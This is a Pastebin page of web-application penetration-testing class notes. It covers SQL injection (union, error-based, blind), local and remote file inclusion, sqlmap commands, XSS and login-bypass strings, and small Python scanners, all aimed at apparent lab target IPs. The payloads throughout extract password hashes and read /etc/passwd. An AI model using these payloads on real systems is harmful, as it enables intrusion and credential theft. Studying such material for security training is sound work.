Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ###########################################
- # Advanced Web App Pentester Night School #
- ###########################################
- #######################
- # Attacking PHP/MySQL #
- #######################
- Go to LAMP Target homepage
- http://54.172.112.249/
- Clicking on the Acer Link:
- http://54.172.112.249/acre2.php?lap=acer
- - Found parameter passing (answer yes to question 1)
- - Insert ' to test for SQLI
- http://54.172.112.249/acre2.php?lap=acer'
- Page returns the following error:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
- In order to perform union-based sql injection - we must first determine the number of columns in this query.
- We do this using the ORDER BY
- http://54.172.112.249/acre2.php?lap=acer' order by 100-- +
- Page returns the following error:
- Unknown column '100' in 'order clause'
- http://54.172.112.249/acre2.php?lap=acer' order by 50-- +
- Page returns the following error:
- Unknown column '50' in 'order clause'
- http://54.172.112.249/acre2.php?lap=acer' order by 25-- +
- Page returns the following error:
- Unknown column '25' in 'order clause'
- http://54.172.112.249/acre2.php?lap=acer' order by 12-- +
- Page returns the following error:
- Unknown column '50' in 'order clause'
- http://54.172.112.249/acre2.php?lap=acer' order by 6-- +
- ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
- Now we build out the union all select statement with the correct number of columns
- Reference:
- http://www.techonthenet.com/sql/union.php
- http://54.172.112.249/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
- Now we negate the parameter value 'acer' by turning into the word 'null':
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
- We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
- Use a cheat sheet for syntax:
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
- Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
- http://54.172.112.249/showfile.php?filename=about.txt
- See if you can read files on the file system:
- http://54.172.112.249/showfile.php?filename=/etc/passwd
- We call this attack a Local File Include or LFI.
- Now let's find some text out on the internet somewhere:
- https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
- Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
- http://54.172.112.249/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
- -----------------Some Automated Testing from the strategicsec VM-----------------
- ##################################################
- # You can download the virtual machine from here #
- ##################################################
- https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
- user: strategicsec
- pass: strategicsec
- cd /home/strategicsec/toolz/sqlmap-dev/
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" -b -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-user -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-db -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --privileges -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --dbs -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --tables -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/issue -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
- #############################
- # Error-Based SQL Injection #
- #############################
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
- #############################
- # Union-Based SQL Injection #
- #############################
- http://54.213.252.28/bookdetail.aspx?id=2 order by 100--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 50--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 25--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 10--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 5--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 6--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 7--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 8--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 9--
- http://54.213.252.28/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
- We are using a union select statement because we are joining the developer's query with one of our own.
- Reference:
- http://www.techonthenet.com/sql/union.php
- The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
- It removes duplicate rows between the various SELECT statements.
- Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
- http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
- Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
- http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
- http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
- http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
- http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
- - Another way is to see if you can get the backend to perform an arithmetic function
- http://54.213.252.28/bookdetail.aspx?id=(2)
- http://54.213.252.28/bookdetail.aspx?id=(4-2)
- http://54.213.252.28/bookdetail.aspx?id=(4-1)
- http://54.213.252.28/bookdetail.aspx?id=2 or 1=1--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1=2--
- http://54.213.252.28/bookdetail.aspx?id=1*1
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 >-1#
- http://54.213.252.28/bookdetail.aspx?id=2 or 1<99#
- http://54.213.252.28/bookdetail.aspx?id=2 or 1<>1#
- http://54.213.252.28/bookdetail.aspx?id=2 or 2 != 3--
- http://54.213.252.28/bookdetail.aspx?id=2 &0#
- ###############################
- # Blind SQL Injection Testing #
- ###############################
- Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
- 3 - Total Characters
- http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
- Let's go for a quick check to see if it's DBO
- http://54.213.252.28/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
- Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
- D - 1st Character
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
- B - 2nd Character
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- O - 3rd Character
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- ************************ Class Homework ************************
- Perform a mock penetration test against http://54.172.112.249 using what you have learned in this pastebin.
- You don't need to document it for me, but go through the steps for your own understanding.
- ************************ Class Challenge ************************
- Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
- Here are some sample web app penetration test reports from other companies that you can look at:
- https://s3.amazonaws.com/StrategicSec-Files/WebAppSampleReports.zip
- I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
- ###############################################################
- # Question 1: What is the process that you use when you test? #
- ###############################################################
- Step 1: Automated Testing
- Step 1a: Web Application vulnerability scanners
- -----------------------------------------------
- - Run two (2) unauthenticated vulnerability scans against the target
- - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
- - Run two (2) authenticated vulnerability scans against the target with admin privileges
- The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
- A good web application vulnerability scanner comparison website is here:
- http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
- Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
- When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
- Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
- Also, be sure to save the scan results and logs. I usually provide this data to the customer.
- Step 1b: Directory Brute Forcer
- -------------------------------
- I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
- Step 2: Manual Testing
- Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
- Step 2a: Spider/Scan the entire site with Burp Suite
- Save the spider and scan results. I usually provide this data to the customer as well.
- Step 2b: Browse through the site using the 3 question method
- Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
- Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
- Here is what I mean:
- http://www.site.com/page.aspx?parametername=parametervalue
- When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
- http://www.site.com/page.aspx?parametername=[ payload ]
- You need to ensure that you send the payload this way, and like this below:
- http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
- This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
- ###########################################
- # Question 2: How much fuzzing is enough? #
- ###########################################
- There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
- Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
- Step 1: Ask yourself the 3 questions per page of the site.
- Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
- Step 3: When you load your fuzz strings - use the following decision tree
- - Are the fuzz strings causing a default error message (example 404)?
- - If this is the case then it is most likely NOT vulnerable
- - Are the fuzz strings causing a WAF or LB custom error message?
- - If this is the case then you need to find an encoding method to bypass
- - Are the fuzz strings causing an error message that discloses the backend type?
- - If yes, then identify DB type and find correct syntax to successfully exploit
- - Some example strings that I use are:
- '
- "
- () <----- Take the parameter value and put it in parenthesis
- (5-1) <----- See if you can perform an arithmetic function
- - Are the fuzz strings rendering executable code?
- - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
- - Some example strings that I use are:
- <b>hello</b>
- <u>hello</u>
- <script>alert(123);</script>
- <script>alert(xss);</script>
- <script>alert('xss');</script>
- <script>alert("xss");</script>
- -------------------------------------------------------------------------------------------
- ############################
- # Trading Web App with WAF #
- # http://54.213.131.105 #
- ############################
- Try the following in the search box:
- <script>alert(123);</script>
- <script>alert(123);</script
- <script>alert(123)
- <script>alert
- <script>
- <script
- <scrip
- <scri
- <scr
- <sc
- <s
- <p
- <
- < s
- Joe'+OR+1=1;--
- Open a new tab in firefox and try this:
- http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
- xss_upload.txt (Upload Bulk Order)
- <script>alert(123);</script>
- Login Box:
- ' or 1=1 or ''='
- anything
- Tamper Data: (notice 2 session IDs)
- AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
- IsAdmin=yes;
- ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
- Profile - Detail (tamper data)
- Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
- joe|set
- ###########################################################
- # Attacking an Oracle/JSP based WebApp with SQL Injection #
- ###########################################################
- http://54.69.156.253:8081/bookcompany/
- user: a' OR 'a'='a
- pass: a' OR 'a'='a
- http://54.69.156.253:8081/bookcompany/author.jsp?id=111
- [ Search by Username ] Joe' OR 'a'='a
- http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1
- http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
- http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
- Host is running:
- http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
- User is:
- http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
- Current database is:
- ############################
- # Web App Scripting Basics #
- ############################
- 1. Simple LFI/RFI
- vi lfi-rfi.py
- --------------------------------
- #!/usr/bin/env python
- print "\n### PHP LFI/RFI Detector ###"
- # urllib2 is a Python module that can be used for fetching URLs. It defines functions and classes to help with URL actions (basic and digest authentication, redirections, cookies, etc) The magic starts with importing the urllib2 module.
- # The module re provides full support for Perl-like regular expressions in Python
- # The module sys contains System-specific parameters and functions
- import urllib2,re,sys
- TARGET = "http://54.172.112.249/showfile.php?filename=about.txt"
- RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
- TravLimit = 12
- print "==> Testing for LFI vulns.."
- TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
- for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
- TARGET += "../"
- try:
- source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
- except urllib2.URLError, e:
- print "$$$ We had an Error:",e
- sys.exit(0)
- if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
- print "!! ==> LFI Found:",TARGET+"etc/passwd"
- break ## BREAK LOOP WHEN VULN FOUND
- print "\n==> Testing for RFI vulns.."
- TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
- try:
- source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
- except urllib2.URLError, e:
- print "$$$ We had an Error:",e
- sys.exit(0)
- if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
- print "!! => RFI Found:",TARGET
- print "\nScan Complete\n" ## DONE
- --------------------------------
- 2. Simple SQL Injection
- vi sqli.py
- --------------------------------
- #!/usr/bin/env python
- print "\n### PHP SQLi Detector ###"
- import urllib2,re,sys
- TARGET = "http://54.172.112.249/acre2.php?lap=acer"
- SQLi = "%27"
- SQLiError = "You have an error in your SQL"
- myNameInHex = "0x6a6f65"
- myName = 'joe'
- print "==> Testing for SQLi Error Vuln..."
- URL = TARGET+SQLi
- try:
- source = urllib2.urlopen(URL).read() ## WEB REQUEST
- except urllib2.URLError, e:
- print "$$$ We had an Error\n",e
- sys.exit(0)
- if re.search(SQLiError,source): ## SEARCH FOR ERROR IN PAGE
- print "!! ==> SQLi Found:",TARGET+SQLi
- print "## ==> Bruting NULL column...",
- URL = TARGET+SQLi+"%20UNION%20SELECT%20"+myNameInHex ## BUILD OUR SQLi STATEMENT
- for x in xrange(1,10):
- if x > 1:
- URL = URL+","
- URL = URL+myNameInHex
- print x,
- print URL
- try:
- source = urllib2.urlopen((URL+"--%20j")).read() ## WEB REQUEST
- except urllib2.URLError, e:
- print "$$$ We had an Error\n",e
- sys.exit(0)
- if re.search(myName, source): ## SEARCH FOR UNENCODED NULL WORD
- print "\n!! ==> Null Column Found:",URL+"--"
- break
- else:
- print "** ==> No SQLi Found!"
- print "\nScan Complete\n"
- --------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement